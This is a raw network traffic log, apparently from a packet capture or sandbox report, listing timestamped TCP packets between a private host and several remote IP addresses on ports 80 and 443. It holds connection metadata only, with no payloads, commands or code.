Nov 7, 2024 17:25:45.157294035 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.157306910 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.157386065 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.157397985 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.157407999 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.157430887 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.157463074 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.157560110 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.157629013 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.157640934 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.157668114 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.157679081 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.157682896 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.157718897 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.157834053 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.157846928 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.157896042 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.157919884 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.157932043 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.157942057 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.157968044 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.157984018 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.158170938 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.158183098 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.158196926 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.158212900 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.158225060 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.158241034 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.158271074 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.158287048 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.158298969 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.158310890 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.158341885 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.158354998 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.158560038 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.158593893 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.158605099 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.158613920 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.158646107 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.269575119 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.269634008 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.269696951 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.269710064 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.269736052 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.269748926 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.270039082 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.270133018 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.270145893 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.270184040 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.270210981 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.270575047 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.270589113 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.270602942 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.270613909 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.270627975 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.270629883 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.270641088 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.270654917 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.270659924 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.270688057 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.270688057 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.270697117 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.270709991 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.270720959 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.270736933 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.270751953 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.270764112 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.272572041 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.272634029 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.272639990 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.272648096 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.272675037 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.272713900 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.272790909 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.272802114 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.272814035 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.272825003 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.272838116 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.272850990 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.272881031 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.272927999 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.272941113 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.272972107 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.272984028 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.272994995 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.273005962 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.273015976 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.273041010 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.273191929 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.273204088 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.273215055 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.273226976 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.273240089 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.273291111 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.273340940 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.273346901 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.273360014 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.273374081 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.273402929 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.273416042 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.273780107 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.273791075 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.273808956 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.273825884 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.273830891 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.273834944 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.273861885 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.273885965 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.274152994 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.274166107 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.274178028 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.274187088 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.274199009 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.274209976 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.274220943 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.274230957 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.274233103 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.274240971 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.274245977 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.274255037 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.274259090 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.274279118 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.274310112 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.274811029 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.274822950 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.274833918 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.274864912 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.274877071 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.274877071 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.274888992 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.274892092 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.274900913 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.274912119 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.274924994 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.274955034 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.274976015 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.274986029 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.275032043 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.311817884 CET	49970	443	192.168.2.6	131.253.33.203
Nov 7, 2024 17:25:45.311861038 CET	443	49970	131.253.33.203	192.168.2.6
Nov 7, 2024 17:25:45.311950922 CET	49970	443	192.168.2.6	131.253.33.203
Nov 7, 2024 17:25:45.312258959 CET	49970	443	192.168.2.6	131.253.33.203
Nov 7, 2024 17:25:45.312274933 CET	443	49970	131.253.33.203	192.168.2.6
Nov 7, 2024 17:25:45.320219994 CET	49971	443	192.168.2.6	20.75.60.91
Nov 7, 2024 17:25:45.320246935 CET	443	49971	20.75.60.91	192.168.2.6
Nov 7, 2024 17:25:45.320365906 CET	49971	443	192.168.2.6	20.75.60.91
Nov 7, 2024 17:25:45.320637941 CET	49971	443	192.168.2.6	20.75.60.91
Nov 7, 2024 17:25:45.320657969 CET	443	49971	20.75.60.91	192.168.2.6
Nov 7, 2024 17:25:45.385082006 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.385097027 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.385108948 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.385143042 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.385164022 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.385526896 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.385582924 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.385608912 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.385622025 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.385637045 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.385649920 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.385658026 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.385678053 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.385734081 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.385746002 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.385771036 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.385782003 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.385828018 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.385833025 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.385845900 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.385857105 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.385869026 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.385873079 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.385909081 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.385920048 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.385941029 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.385941029 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.385953903 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.385958910 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.387975931 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.387998104 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.388008118 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.388093948 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.388098955 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.388107061 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.388113976 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.388125896 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.388137102 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.388149023 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.388151884 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.388175964 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.388201952 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.388370037 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.388417959 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.388421059 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.388437033 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.388447046 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.388464928 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.388475895 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.388477087 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.388487101 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.388498068 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.388508081 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.388511896 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.388552904 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.388582945 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.388593912 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.388606071 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.388612986 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.388672113 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.388684034 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.388695002 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.388731003 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.388741016 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.388813019 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.388813019 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.388838053 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.388849974 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.388884068 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.388957977 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.388967991 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.388978958 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.389003992 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.389004946 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.389015913 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.389029026 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.389031887 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.389060020 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.389086008 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.389410019 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.389421940 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.389431953 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.389461994 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.389492989 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.389640093 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.389657974 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.389669895 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.389682055 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.389683962 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.389693022 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.389695883 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.389708996 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.389714003 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.389753103 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.390273094 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.390295029 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.390306950 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.390341043 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.390367031 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.390409946 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.390420914 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.390431881 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.390441895 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.390446901 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.390455961 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.390467882 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.390475988 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.390480042 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.390506983 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.390517950 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.390537977 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.390572071 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.398508072 CET	443	49967	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:45.399311066 CET	49967	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:45.399332047 CET	443	49967	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:45.400747061 CET	49967	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:45.400755882 CET	443	49967	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:45.455233097 CET	443	49968	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:45.458368063 CET	49968	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:45.458389044 CET	443	49968	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:45.459198952 CET	49968	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:45.459204912 CET	443	49968	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:45.500449896 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.500487089 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.500499964 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.500510931 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.500524998 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.500545979 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.500806093 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.500859022 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.500869989 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.500904083 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.500946999 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.501044989 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.501056910 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.501066923 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.501082897 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.501112938 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.501256943 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.501353979 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.501365900 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.501377106 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.501410007 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.501421928 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.501426935 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.501439095 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.501447916 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.501457930 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.501468897 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.501491070 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.501513958 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.503537893 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.503611088 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.503648043 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.503658056 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.503696918 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.503762007 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.503773928 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.503783941 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.503802061 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.503808975 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.503827095 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.503865004 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.503866911 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.503878117 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.503966093 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.503978014 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.503987074 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.503998995 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.504009008 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.504009008 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.504021883 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.504031897 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.504039049 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.504041910 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.504055023 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.504057884 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.504095078 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.504348040 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.504395962 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.504424095 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.504436016 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.504466057 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.504467964 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.504477024 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.504502058 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.504527092 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.505691051 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.505702019 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.505712986 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.505743027 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.505779028 CET	49911	80	192.168.2.6	95.215.204.182
